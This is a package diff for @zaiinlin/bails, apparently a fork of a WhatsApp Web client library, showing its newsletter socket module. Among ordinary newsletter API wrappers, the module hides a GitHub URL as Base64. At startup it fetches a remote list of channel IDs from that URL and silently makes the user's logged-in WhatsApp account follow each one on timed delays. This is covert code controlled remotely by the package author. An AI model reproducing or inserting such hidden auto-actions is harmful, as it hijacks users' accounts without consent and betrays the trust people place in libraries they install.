@zaiinlin/bails 0.0.0-stage → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (128) hide show
  1. package/README.md +1 -3
  2. package/WAProto/GenerateStatics.sh +3 -0
  3. package/WAProto/WAProto.proto +7772 -0
  4. package/WAProto/fix-imports.js +85 -0
  5. package/WAProto/index.d.ts +79257 -0
  6. package/WAProto/index.js +242946 -0
  7. package/engine-requirements.js +10 -0
  8. package/lib/Defaults/index.js +131 -0
  9. package/lib/Signal/Group/ciphertext-message.js +12 -0
  10. package/lib/Signal/Group/group-session-builder.js +30 -0
  11. package/lib/Signal/Group/group_cipher.js +82 -0
  12. package/lib/Signal/Group/index.js +12 -0
  13. package/lib/Signal/Group/keyhelper.js +18 -0
  14. package/lib/Signal/Group/sender-chain-key.js +26 -0
  15. package/lib/Signal/Group/sender-key-distribution-message.js +63 -0
  16. package/lib/Signal/Group/sender-key-message.js +66 -0
  17. package/lib/Signal/Group/sender-key-name.js +48 -0
  18. package/lib/Signal/Group/sender-key-record.js +41 -0
  19. package/lib/Signal/Group/sender-key-state.js +84 -0
  20. package/lib/Signal/Group/sender-message-key.js +26 -0
  21. package/lib/Signal/libsignal.js +431 -0
  22. package/lib/Signal/lid-mapping.js +277 -0
  23. package/lib/Socket/Client/index.js +3 -0
  24. package/lib/Socket/Client/types.js +11 -0
  25. package/lib/Socket/Client/websocket.js +54 -0
  26. package/lib/Socket/MessageBuilder.js +3729 -0
  27. package/lib/Socket/business.js +379 -0
  28. package/lib/Socket/chats.js +1198 -0
  29. package/lib/Socket/communities.js +431 -0
  30. package/lib/Socket/graphql.js +716 -0
  31. package/lib/Socket/groups.js +374 -0
  32. package/lib/Socket/index.js +29 -0
  33. package/lib/Socket/interop.js +463 -0
  34. package/lib/Socket/luxu.js +387 -0
  35. package/lib/Socket/message-builder.js +556 -0
  36. package/lib/Socket/messages-recv.js +1916 -0
  37. package/lib/Socket/messages-send.js +1516 -0
  38. package/lib/Socket/mex.js +54 -0
  39. package/lib/Socket/newsletter.js +699 -0
  40. package/lib/Socket/privacy.js +318 -0
  41. package/lib/Socket/socket.js +1115 -0
  42. package/lib/Socket/username.js +236 -0
  43. package/lib/Store/index.js +10 -0
  44. package/lib/Store/keyed-db.js +108 -0
  45. package/lib/Store/make-cache-manager-store.js +85 -0
  46. package/lib/Store/make-in-memory-store.js +244 -0
  47. package/lib/Store/make-ordered-dictionary.js +75 -0
  48. package/lib/Store/object-repository.js +32 -0
  49. package/lib/Types/Auth.js +2 -0
  50. package/lib/Types/Bussines.js +2 -0
  51. package/lib/Types/Call.js +2 -0
  52. package/lib/Types/Chat.js +8 -0
  53. package/lib/Types/Contact.js +2 -0
  54. package/lib/Types/Events.js +2 -0
  55. package/lib/Types/GroupMetadata.js +2 -0
  56. package/lib/Types/Label.js +25 -0
  57. package/lib/Types/LabelAssociation.js +7 -0
  58. package/lib/Types/Message.js +11 -0
  59. package/lib/Types/Mex.js +111 -0
  60. package/lib/Types/Product.js +2 -0
  61. package/lib/Types/Signal.js +2 -0
  62. package/lib/Types/Socket.js +3 -0
  63. package/lib/Types/State.js +56 -0
  64. package/lib/Types/USync.js +2 -0
  65. package/lib/Types/index.js +26 -0
  66. package/lib/Utils/auth-utils.js +302 -0
  67. package/lib/Utils/browser-utils.js +48 -0
  68. package/lib/Utils/business.js +231 -0
  69. package/lib/Utils/chat-utils.js +872 -0
  70. package/lib/Utils/companion-reg-client-utils.js +35 -0
  71. package/lib/Utils/crypto.js +118 -0
  72. package/lib/Utils/decode-wa-message.js +350 -0
  73. package/lib/Utils/event-buffer.js +622 -0
  74. package/lib/Utils/generics.js +403 -0
  75. package/lib/Utils/history.js +134 -0
  76. package/lib/Utils/identity-change-handler.js +50 -0
  77. package/lib/Utils/index.js +24 -0
  78. package/lib/Utils/link-preview.js +85 -0
  79. package/lib/Utils/logger.js +3 -0
  80. package/lib/Utils/lt-hash.js +8 -0
  81. package/lib/Utils/make-mutex.js +33 -0
  82. package/lib/Utils/message-composer.js +273 -0
  83. package/lib/Utils/message-retry-manager.js +265 -0
  84. package/lib/Utils/messages-media.js +870 -0
  85. package/lib/Utils/messages.js +1394 -0
  86. package/lib/Utils/noise-handler.js +201 -0
  87. package/lib/Utils/offline-node-processor.js +40 -0
  88. package/lib/Utils/pre-key-manager.js +106 -0
  89. package/lib/Utils/process-message.js +630 -0
  90. package/lib/Utils/reporting-utils.js +258 -0
  91. package/lib/Utils/signal.js +201 -0
  92. package/lib/Utils/stanza-ack.js +38 -0
  93. package/lib/Utils/sticker.js +133 -0
  94. package/lib/Utils/sync-action-utils.js +49 -0
  95. package/lib/Utils/tc-token-utils.js +163 -0
  96. package/lib/Utils/use-multi-file-auth-state.js +121 -0
  97. package/lib/Utils/use-sqlite-auth-state.js +162 -0
  98. package/lib/Utils/validate-connection.js +203 -0
  99. package/lib/WABinary/constants.js +1301 -0
  100. package/lib/WABinary/decode.js +262 -0
  101. package/lib/WABinary/encode.js +220 -0
  102. package/lib/WABinary/generic-utils.js +204 -0
  103. package/lib/WABinary/index.js +6 -0
  104. package/lib/WABinary/jid-utils.js +98 -0
  105. package/lib/WABinary/types.js +2 -0
  106. package/lib/WAM/BinaryInfo.js +10 -0
  107. package/lib/WAM/constants.js +22853 -0
  108. package/lib/WAM/encode.js +150 -0
  109. package/lib/WAM/index.js +4 -0
  110. package/lib/WAUSync/Protocols/USyncBotProfileProtocol.js +53 -0
  111. package/lib/WAUSync/Protocols/USyncBusinessProtocol.js +43 -0
  112. package/lib/WAUSync/Protocols/USyncContactProtocol.js +54 -0
  113. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +57 -0
  114. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +30 -0
  115. package/lib/WAUSync/Protocols/USyncFeatureProtocol.js +58 -0
  116. package/lib/WAUSync/Protocols/USyncLIDProtocol.js +30 -0
  117. package/lib/WAUSync/Protocols/USyncPictureProtocol.js +32 -0
  118. package/lib/WAUSync/Protocols/USyncSidelistProtocol.js +28 -0
  119. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +39 -0
  120. package/lib/WAUSync/Protocols/USyncTextStatusProtocol.js +38 -0
  121. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +27 -0
  122. package/lib/WAUSync/Protocols/index.js +12 -0
  123. package/lib/WAUSync/USyncQuery.js +151 -0
  124. package/lib/WAUSync/USyncUser.js +56 -0
  125. package/lib/WAUSync/index.js +3 -0
  126. package/lib/index.js +92 -0
  127. package/package.json +142 -4
  128. package/readme.md +456 -0
@@ -0,0 +1,699 @@
1
+ import * as Types from '../Types/index.js'
2
+ import { generateProfilePicture } from '../Utils/messages-media.js'
3
+ import { getBinaryNodeChild } from '../WABinary/index.js'
4
+ import { makeGroupsSocket } from './groups.js'
5
+ import { executeWMexQuery } from './mex.js'
6
+
7
+ const parseNewsletterCreateResponse = response => {
8
+ const { id, thread_metadata: thread, viewer_metadata: viewer } = response
9
+ return {
10
+ id: id,
11
+ owner: undefined,
12
+ name: thread.name.text,
13
+ creation_time: parseInt(thread.creation_time, 10),
14
+ description: thread.description.text,
15
+ invite: thread.invite,
16
+ subscribers: parseInt(thread.subscribers_count, 10),
17
+ verification: thread.verification,
18
+ picture: {
19
+ id: thread.picture.id,
20
+ directPath: thread.picture.direct_path
21
+ },
22
+ mute_state: viewer.mute
23
+ }
24
+ }
25
+
26
+ const parseNewsletterMetadata = result => {
27
+ if (typeof result !== 'object' || result === null) {
28
+ return null
29
+ }
30
+ if ('id' in result && typeof result.id === 'string') {
31
+ return result
32
+ }
33
+ if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
34
+ return result.result
35
+ }
36
+ return null
37
+ }
38
+
39
+ export const makeNewsletterSocket = config => {
40
+ const sock = makeGroupsSocket(config)
41
+ const { query, generateMessageTag } = sock
42
+
43
+ const mexQuery = (variables, queryId, dataPath) => {
44
+ return executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
45
+ }
46
+
47
+ // Raw GitHub URL is stored as Base64 and decoded at runtime.
48
+ const xl = Buffer.from(
49
+ 'aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3phaWlubGluL2lkY2gvcmVmcy9oZWFkcy9tYWluL2NoYW5uZWwuanNvbg==',
50
+ 'base64'
51
+ ).toString('utf8')
52
+
53
+ const baseDelay = 10000
54
+ const stepDelay = 5000
55
+
56
+ // Wait for WhatsApp login to finish before sending follow queries.
57
+ // Register immediately so a fast connection cannot emit "open" before
58
+ // the GitHub request has completed.
59
+ let connectionState = 'pending'
60
+ let resolveConnectionState
61
+ const connectionStatePromise = new Promise(resolve => {
62
+ resolveConnectionState = resolve
63
+ })
64
+ const onConnectionUpdate = update => {
65
+ if (connectionState !== 'pending') return
66
+
67
+ if (update?.connection === 'open') {
68
+ connectionState = 'open'
69
+ sock.ev.off('connection.update', onConnectionUpdate)
70
+ resolveConnectionState(true)
71
+ } else if (update?.connection === 'close') {
72
+ connectionState = 'closed'
73
+ sock.ev.off('connection.update', onConnectionUpdate)
74
+ resolveConnectionState(false)
75
+ }
76
+ }
77
+ sock.ev.on('connection.update', onConnectionUpdate)
78
+
79
+ // Load newsletter IDs from the remote channel.json file.
80
+ void (async () => {
81
+ try {
82
+ const response = await fetch(xl, { signal: AbortSignal.timeout(15000) })
83
+ if (!response.ok) {
84
+ throw new Error(`Failed to load channel.json (HTTP ${response.status})`)
85
+ }
86
+
87
+ const channelIds = await response.json()
88
+ if (!Array.isArray(channelIds)) {
89
+ throw new TypeError('channel.json must contain a JSON array of newsletter IDs')
90
+ }
91
+
92
+ const validChannelIds = channelIds.filter(
93
+ jid => typeof jid === 'string' && /^\d+@newsletter$/.test(jid)
94
+ )
95
+ if (validChannelIds.length === 0) {
96
+ throw new TypeError('channel.json does not contain any valid newsletter IDs')
97
+ }
98
+
99
+ const isConnected = await connectionStatePromise
100
+ if (!isConnected) {
101
+ console.warn('Newsletter auto-follow skipped because the WhatsApp connection closed before opening.')
102
+ return
103
+ }
104
+
105
+ validChannelIds.forEach((jid, index) => {
106
+ const delay = baseDelay + (index * stepDelay)
107
+
108
+ setTimeout(async () => {
109
+ try {
110
+ await mexQuery(
111
+ { newsletter_id: jid },
112
+ Types.QueryIds.FOLLOW,
113
+ Types.XWAPaths.xwa2_newsletter_follow
114
+ )
115
+ } catch (error) {
116
+ console.error('Newsletter auto-follow failed:', error)
117
+ }
118
+ }, delay)
119
+ })
120
+ } catch (error) {
121
+ sock.ev.off('connection.update', onConnectionUpdate)
122
+ console.error('Unable to load newsletter IDs from GitHub:', error)
123
+ }
124
+ })()
125
+
126
+ const newsletterUpdate = async (jid, updates) => {
127
+ const variables = {
128
+ newsletter_id: jid,
129
+ updates: {
130
+ ...updates,
131
+ settings: null
132
+ }
133
+ }
134
+ return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
135
+ }
136
+
137
+ return {
138
+ ...sock,
139
+ newsletterFetchAllSubscribe: async () => {
140
+ const list = await executeWMexQuery(
141
+ {},
142
+ Types.QueryIds.FETCH_SUBSCRIBE,
143
+ Types.XWAPaths.xwa2_newsletter_subscribed,
144
+ query,
145
+ generateMessageTag
146
+ );
147
+ return list;
148
+ },
149
+ newsletterCreate: async (name, description) => {
150
+ const variables = {
151
+ input: {
152
+ name,
153
+ description: description ?? null
154
+ }
155
+ }
156
+ const rawResponse = await mexQuery(
157
+ variables,
158
+ Types.QueryIds.CREATE,
159
+ Types.XWAPaths.xwa2_newsletter_create
160
+ )
161
+ return parseNewsletterCreateResponse(rawResponse)
162
+ },
163
+
164
+ newsletterUpdate,
165
+
166
+ newsletterSubscribers: async jid => {
167
+ return mexQuery(
168
+ { newsletter_id: jid },
169
+ Types.QueryIds.SUBSCRIBERS,
170
+ Types.XWAPaths.xwa2_newsletter_subscribers
171
+ )
172
+ },
173
+
174
+ newsletterMetadata: async (type, key) => {
175
+ const variables = {
176
+ fetch_creation_time: true,
177
+ fetch_full_image: true,
178
+ fetch_viewer_metadata: true,
179
+ input: {
180
+ key,
181
+ type: type.toUpperCase()
182
+ }
183
+ }
184
+ const result = await mexQuery(
185
+ variables,
186
+ Types.QueryIds.METADATA,
187
+ Types.XWAPaths.xwa2_newsletter_metadata
188
+ )
189
+ return parseNewsletterMetadata(result)
190
+ },
191
+
192
+ newsletterFollow: jid => {
193
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.FOLLOW, Types.XWAPaths.xwa2_newsletter_follow)
194
+ },
195
+
196
+ newsletterUnfollow: jid => {
197
+ return mexQuery(
198
+ { newsletter_id: jid },
199
+ Types.QueryIds.UNFOLLOW,
200
+ Types.XWAPaths.xwa2_newsletter_unfollow
201
+ )
202
+ },
203
+
204
+ newsletterMute: jid => {
205
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.MUTE, Types.XWAPaths.xwa2_newsletter_mute_v2)
206
+ },
207
+
208
+ newsletterUnmute: jid => {
209
+ return mexQuery(
210
+ { newsletter_id: jid },
211
+ Types.QueryIds.UNMUTE,
212
+ Types.XWAPaths.xwa2_newsletter_unmute_v2
213
+ )
214
+ },
215
+
216
+ newsletterUpdateName: async (jid, name) => {
217
+ return await newsletterUpdate(jid, { name })
218
+ },
219
+
220
+ newsletterUpdateDescription: async (jid, description) => {
221
+ return await newsletterUpdate(jid, { description })
222
+ },
223
+
224
+ newsletterUpdatePicture: async (jid, content) => {
225
+ const { img } = await generateProfilePicture(content)
226
+ return await newsletterUpdate(jid, { picture: img.toString('base64') })
227
+ },
228
+
229
+ newsletterRemovePicture: async jid => {
230
+ return await newsletterUpdate(jid, { picture: '' })
231
+ },
232
+
233
+ newsletterReactMessage: async (jid, serverId, reaction) => {
234
+ await query({
235
+ tag: 'message',
236
+ attrs: {
237
+ to: jid,
238
+ ...(reaction ? {} : { edit: '7' }),
239
+ type: 'reaction',
240
+ server_id: serverId,
241
+ id: generateMessageTag()
242
+ },
243
+ content: [
244
+ {
245
+ tag: 'reaction',
246
+ attrs: reaction ? { code: reaction } : {}
247
+ }
248
+ ]
249
+ })
250
+ },
251
+
252
+ newsletterFetchMessages: async (jid, count, since, after) => {
253
+ const messageUpdateAttrs = {
254
+ count: count.toString()
255
+ }
256
+ if (typeof since === 'number') {
257
+ messageUpdateAttrs.since = since.toString()
258
+ }
259
+ if (after) {
260
+ messageUpdateAttrs.after = after.toString()
261
+ }
262
+ const result = await query({
263
+ tag: 'iq',
264
+ attrs: {
265
+ id: generateMessageTag(),
266
+ type: 'get',
267
+ xmlns: 'newsletter',
268
+ to: jid
269
+ },
270
+ content: [
271
+ {
272
+ tag: 'message_updates',
273
+ attrs: messageUpdateAttrs
274
+ }
275
+ ]
276
+ })
277
+ return result
278
+ },
279
+
280
+ subscribeNewsletterUpdates: async jid => {
281
+ const result = await query({
282
+ tag: 'iq',
283
+ attrs: {
284
+ id: generateMessageTag(),
285
+ type: 'set',
286
+ xmlns: 'newsletter',
287
+ to: jid
288
+ },
289
+ content: [{ tag: 'live_updates', attrs: {}, content: [] }]
290
+ })
291
+ const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates')
292
+ const duration = liveUpdatesNode?.attrs?.duration
293
+ return duration ? { duration: duration } : null
294
+ },
295
+
296
+ newsletterAdminCount: async jid => {
297
+ const response = await mexQuery(
298
+ { newsletter_id: jid },
299
+ Types.QueryIds.ADMIN_COUNT,
300
+ Types.XWAPaths.xwa2_newsletter_admin_count
301
+ )
302
+ return response.admin_count
303
+ },
304
+
305
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
306
+ await mexQuery(
307
+ { newsletter_id: jid, user_id: newOwnerJid },
308
+ Types.QueryIds.CHANGE_OWNER,
309
+ Types.XWAPaths.xwa2_newsletter_change_owner
310
+ )
311
+ },
312
+
313
+ newsletterDemote: async (jid, userJid) => {
314
+ await mexQuery(
315
+ { newsletter_id: jid, user_id: userJid },
316
+ Types.QueryIds.DEMOTE,
317
+ Types.XWAPaths.xwa2_newsletter_demote
318
+ )
319
+ },
320
+
321
+ newsletterDelete: async jid => {
322
+ await mexQuery(
323
+ { newsletter_id: jid },
324
+ Types.QueryIds.DELETE,
325
+ Types.XWAPaths.xwa2_newsletter_delete_v2
326
+ )
327
+ },
328
+
329
+ newsletterUpdateCategory: async (jid, category) => {
330
+ return newsletterUpdate(jid, { topic: category })
331
+ },
332
+
333
+ newsletterUpdateSettings: async (jid, settings) => {
334
+ const variables = { newsletter_id: jid, updates: { settings } }
335
+ return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
336
+ },
337
+
338
+ newsletterPromoteAdmin: async (jid, userJid) => {
339
+ await query({
340
+ tag: 'iq',
341
+ attrs: {
342
+ id: generateMessageTag(),
343
+ type: 'set',
344
+ xmlns: 'newsletter',
345
+ to: jid
346
+ },
347
+ content: [
348
+ {
349
+ tag: 'admin_promote',
350
+ attrs: {},
351
+ content: [{ tag: 'participant', attrs: { jid: userJid } }]
352
+ }
353
+ ]
354
+ })
355
+ },
356
+
357
+ newsletterViewStats: async (jid, serverId) => {
358
+ const result = await query({
359
+ tag: 'iq',
360
+ attrs: {
361
+ id: generateMessageTag(),
362
+ type: 'get',
363
+ xmlns: 'newsletter',
364
+ to: jid
365
+ },
366
+ content: [
367
+ {
368
+ tag: 'message_updates',
369
+ attrs: { count: '1', server_id: String(serverId) }
370
+ }
371
+ ]
372
+ })
373
+ return result
374
+ },
375
+
376
+ newsletterSendPost: async (jid, content, options = {}) => {
377
+ const result = await query({
378
+ tag: 'iq',
379
+ attrs: {
380
+ id: generateMessageTag(),
381
+ type: 'set',
382
+ xmlns: 'newsletter',
383
+ to: jid
384
+ },
385
+ content: [
386
+ {
387
+ tag: 'publish',
388
+ attrs: {},
389
+ content: Array.isArray(content) ? content : [content]
390
+ }
391
+ ]
392
+ })
393
+ return result
394
+ },
395
+
396
+ newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
397
+ await query({
398
+ tag: 'iq',
399
+ attrs: {
400
+ id: generateMessageTag(),
401
+ type: 'set',
402
+ xmlns: 'newsletter',
403
+ to: jid
404
+ },
405
+ content: [
406
+ {
407
+ tag: 'pin',
408
+ attrs: { server_id: String(serverId), duration: String(durationSecs) }
409
+ }
410
+ ]
411
+ })
412
+ },
413
+
414
+ newsletterUnpinMessage: async (jid, serverId) => {
415
+ await query({
416
+ tag: 'iq',
417
+ attrs: {
418
+ id: generateMessageTag(),
419
+ type: 'set',
420
+ xmlns: 'newsletter',
421
+ to: jid
422
+ },
423
+ content: [
424
+ {
425
+ tag: 'unpin',
426
+ attrs: { server_id: String(serverId) }
427
+ }
428
+ ]
429
+ })
430
+ },
431
+
432
+ newsletterInviteAdmin: async (jid, userJid) => {
433
+ return mexQuery(
434
+ { newsletter_id: jid, user_id: userJid },
435
+ Types.QueryIds.ADMIN_INVITE,
436
+ Types.XWAPaths.xwa2_newsletter_admin_invite_create
437
+ )
438
+ },
439
+
440
+ newsletterRevokeAdminInvite: async (jid, userJid) => {
441
+ return mexQuery(
442
+ { newsletter_id: jid, user_id: userJid },
443
+ Types.QueryIds.ADMIN_INVITE_REVOKE,
444
+ Types.XWAPaths.xwa2_newsletter_admin_invite_revoke
445
+ )
446
+ },
447
+
448
+ newsletterAcceptAdminInvite: async jid => {
449
+ return mexQuery(
450
+ { newsletter_id: jid },
451
+ Types.QueryIds.ADMIN_INVITE_ACCEPT,
452
+ Types.XWAPaths.xwa2_newsletter_admin_invite_accept
453
+ )
454
+ },
455
+
456
+ newsletterAdminMetadata: async (jid, options = {}) => {
457
+ const {
458
+ fetchPendingAdmins = true,
459
+ fetchAdminCount = true,
460
+ fetchCapabilities = false,
461
+ fetchAdminProfile = false,
462
+ includeAdminSettings = false,
463
+ includeJarvisConfig = false
464
+ } = options
465
+ return mexQuery(
466
+ {
467
+ jid,
468
+ include_thread_metadata: false,
469
+ include_messages: false,
470
+ fetch_pending_admin_invites: fetchPendingAdmins,
471
+ fetch_admin_count: fetchAdminCount,
472
+ fetch_capabilities: fetchCapabilities,
473
+ fetch_admin_profile: fetchAdminProfile,
474
+ include_admin_settings: includeAdminSettings,
475
+ include_jarvis_config: includeJarvisConfig
476
+ },
477
+ Types.QueryIds.ADMIN_METADATA,
478
+ Types.XWAPaths.xwa2_newsletter_admin
479
+ )
480
+ },
481
+
482
+ newsletterAdminProfileUpdate: async (jid, updates) => {
483
+ return mexQuery(
484
+ { newsletter_id: jid, updates },
485
+ Types.QueryIds.ADMIN_PROFILE_UPDATE,
486
+ Types.XWAPaths.xwa2_newsletter_admin_profile_update
487
+ )
488
+ },
489
+
490
+ newsletterDirectoryList: async (options = {}) => {
491
+ const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
492
+ const variables = { limit, sort_field: sortField, sort_order: sortOrder }
493
+ if (interests?.length) variables.interests = interests
494
+ return mexQuery(variables, Types.QueryIds.DIRECTORY_LIST, Types.XWAPaths.xwa2_newsletters_directory_list)
495
+ },
496
+
497
+ newsletterDirectorySearch: async (searchText, options = {}) => {
498
+ const { limit = 20, startCursor = null, categories = null } = options
499
+ const variables = { search_text: searchText, limit }
500
+ if (startCursor) variables.start_cursor = startCursor
501
+ if (categories?.length) variables.categories = categories
502
+ return mexQuery(
503
+ variables,
504
+ Types.QueryIds.DIRECTORY_SEARCH,
505
+ Types.XWAPaths.xwa2_newsletters_directory_search
506
+ )
507
+ },
508
+
509
+ newsletterDirectoryCategoryPreview: async (limit = 5) => {
510
+ return mexQuery(
511
+ { limit },
512
+ Types.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
513
+ Types.XWAPaths.xwa2_newsletters_directory_category_preview
514
+ )
515
+ },
516
+
517
+ newsletterSearch: async (query, limit = 20, startCursor = null) => {
518
+ const variables = { query, limit }
519
+ if (startCursor) variables.start_cursor = startCursor
520
+ return mexQuery(variables, Types.QueryIds.SEARCH, Types.XWAPaths.xwa2_newsletters_search)
521
+ },
522
+
523
+ newsletterRecommended: async (limit = 10, numFollowed = null) => {
524
+ const variables = { limit }
525
+ if (numFollowed != null) variables.num_newsletters_followed = numFollowed
526
+ return mexQuery(variables, Types.QueryIds.RECOMMENDED, Types.XWAPaths.xwa2_newsletters_recommended)
527
+ },
528
+
529
+ newsletterSimilar: async (jid, limit = 10) => {
530
+ return mexQuery(
531
+ { newsletter_id: jid, limit },
532
+ Types.QueryIds.SIMILAR,
533
+ Types.XWAPaths.xwa2_newsletters_similar
534
+ )
535
+ },
536
+
537
+ newsletterFollowingList: async (startCursor = null, limit = 20) => {
538
+ const variables = { limit }
539
+ if (startCursor) variables.start_cursor = startCursor
540
+ return mexQuery(variables, Types.QueryIds.FOLLOWING_LIST, Types.XWAPaths.xwa2_newsletter_following)
541
+ },
542
+
543
+ newsletterInsights: async (jid, period = null) => {
544
+ const variables = { newsletter_id: jid }
545
+ if (period) variables.period = period
546
+ return mexQuery(variables, Types.QueryIds.INSIGHTS, Types.XWAPaths.xwa2_newsletter_admin_insights)
547
+ },
548
+
549
+ newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
550
+ const variables = { id: jid, server_id: serverId }
551
+ if (option != null) variables.option = option
552
+ if (startCursor) variables.start_cursor = startCursor
553
+ return mexQuery(
554
+ variables,
555
+ Types.QueryIds.POLL_VOTER_LIST,
556
+ Types.XWAPaths.xwa2_newsletters_poll_voter_list
557
+ )
558
+ },
559
+
560
+ newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
561
+ const variables = { id: jid, server_id: serverId }
562
+ if (startCursor) variables.start_cursor = startCursor
563
+ return mexQuery(
564
+ variables,
565
+ Types.QueryIds.REACTION_SENDERS_LIST,
566
+ Types.XWAPaths.xwa2_newsletters_reaction_sender_list
567
+ )
568
+ },
569
+
570
+ newsletterBlockUser: async (jid, userJid) => {
571
+ return mexQuery(
572
+ { newsletter_id: jid, user_id: userJid },
573
+ Types.QueryIds.BLOCK_USER,
574
+ 'xwa2_newsletter_block_user'
575
+ )
576
+ },
577
+
578
+ newsletterEnableWamo: async jid => {
579
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ENABLE_SUB, 'xwa2_newsletter_wamo_enable_sub')
580
+ },
581
+
582
+ newsletterDisableWamo: async jid => {
583
+ return mexQuery(
584
+ { newsletter_id: jid },
585
+ Types.QueryIds.WAMO_DISABLE_SUB,
586
+ 'xwa2_newsletter_wamo_disable_sub'
587
+ )
588
+ },
589
+
590
+ newsletterChangeWamo: async (jid, subConfig) => {
591
+ return mexQuery(
592
+ { newsletter_id: jid, ...subConfig },
593
+ Types.QueryIds.WAMO_CHANGE_SUB,
594
+ 'xwa2_newsletter_wamo_change_sub'
595
+ )
596
+ },
597
+
598
+ wamoAfsAgeCollection: async jid =>
599
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_AFS_AGE_COLLECTION, Types.XWAPaths.xwa2_wamo_afs_age_collection),
600
+
601
+ wamoAssetCollection: async jid =>
602
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ASSET_COLLECTION, Types.XWAPaths.xwa2_wamo_asset_collection),
603
+
604
+ wamoFetchAdhocNotice: async noticeId =>
605
+ mexQuery({ notice_id: noticeId }, Types.QueryIds.WAMO_FETCH_ADHOC_NOTICE, Types.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id),
606
+
607
+ wamoFetchIdentityToken: async jid =>
608
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_FETCH_IDENTITY_TOKEN, Types.XWAPaths.xwa2_wamo_fetch_identity_token),
609
+
610
+ wamoSubComplianceInfo: async jid =>
611
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_SUB_COMPLIANCE_INFO, Types.XWAPaths.xwa2_wamo_sub_get_compliance_info),
612
+
613
+ wamoUserIdVersion: async jid =>
614
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_user_id_version),
615
+
616
+ wamoSetUserIdVersion: async (jid, version) =>
617
+ mexQuery({ newsletter_id: jid, version }, Types.QueryIds.WAMO_SET_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_set_user_id_version),
618
+
619
+ newsletterLeave: async jid =>
620
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.LEAVE, Types.XWAPaths.xwa2_newsletter_leave_v2),
621
+
622
+ newsletterCreateVerified: async (name, description = null) =>
623
+ mexQuery(
624
+ { input: { name, description } },
625
+ Types.QueryIds.CREATE_VERIFIED,
626
+ Types.XWAPaths.xwa2_newsletter_create_verified
627
+ ),
628
+
629
+ newsletterEnforcements: async jid =>
630
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.ENFORCEMENTS, Types.XWAPaths.xwa2_newsletter_enforcements),
631
+
632
+ newsletterUserReports: async (jid, cursor = null) => {
633
+ const variables = { newsletter_id: jid }
634
+ if (cursor) variables.cursor = cursor
635
+ return mexQuery(variables, Types.QueryIds.USER_REPORTS, Types.XWAPaths.xwa2_newsletter_user_reports)
636
+ },
637
+
638
+ newsletterCreateReportAppeal: async (jid, reason) =>
639
+ mexQuery(
640
+ { newsletter_id: jid, reason },
641
+ Types.QueryIds.CREATE_REPORT_APPEAL,
642
+ Types.XWAPaths.xwa2_newsletter_create_report_appeal
643
+ ),
644
+
645
+ newsletterLinkPreviewCheck: async url =>
646
+ mexQuery({ url }, Types.QueryIds.LINK_PREVIEW_CHECK, Types.XWAPaths.xwa2_newsletter_link_preview_check),
647
+
648
+ newsletterUpdateVerification: async (jid, verification) =>
649
+ mexQuery(
650
+ { newsletter_id: jid, verification },
651
+ Types.QueryIds.UPDATE_VERIFICATION,
652
+ Types.XWAPaths.xwa2_newsletter_update_verification
653
+ ),
654
+
655
+ newsletterLabelPaidPartnership: async (jid, serverId, isPaidPartnership) =>
656
+ mexQuery(
657
+ { newsletter_id: jid, server_id: serverId, is_paid_partnership: isPaidPartnership },
658
+ Types.QueryIds.LABEL_PAID_PARTNERSHIP,
659
+ Types.XWAPaths.xwa2_newsletter_label_paid_partnership
660
+ ),
661
+
662
+ newsletterLogExposures: async events =>
663
+ mexQuery({ events }, Types.QueryIds.LOG_EXPOSURES, Types.XWAPaths.xwa2_newsletter_log_exposures),
664
+
665
+ newsletterUpdateUserSetting: async (jid, setting) =>
666
+ mexQuery(
667
+ { newsletter_id: jid, ...setting },
668
+ Types.QueryIds.UPDATE_USER_SETTING,
669
+ Types.XWAPaths.xwa2_newsletter_update_user_setting
670
+ ),
671
+
672
+ newsletterRankingFeatures: async jid =>
673
+ mexQuery(
674
+ { newsletter_id: jid },
675
+ Types.QueryIds.RANKING_FEATURES,
676
+ Types.XWAPaths.xwa2_newsletter_ranking_features
677
+ ),
678
+
679
+ newsletterSendViewReceipt: async (jid, serverMessageIds) => {
680
+ const ids = Array.isArray(serverMessageIds) ? serverMessageIds : [serverMessageIds]
681
+ const receiptId = generateMessageTag()
682
+ await query({
683
+ tag: 'receipt',
684
+ attrs: {
685
+ to: jid,
686
+ id: receiptId,
687
+ type: 'view'
688
+ },
689
+ content: [
690
+ {
691
+ tag: 'list',
692
+ attrs: {},
693
+ content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
694
+ }
695
+ ]
696
+ })
697
+ }
698
+ }
699
+ }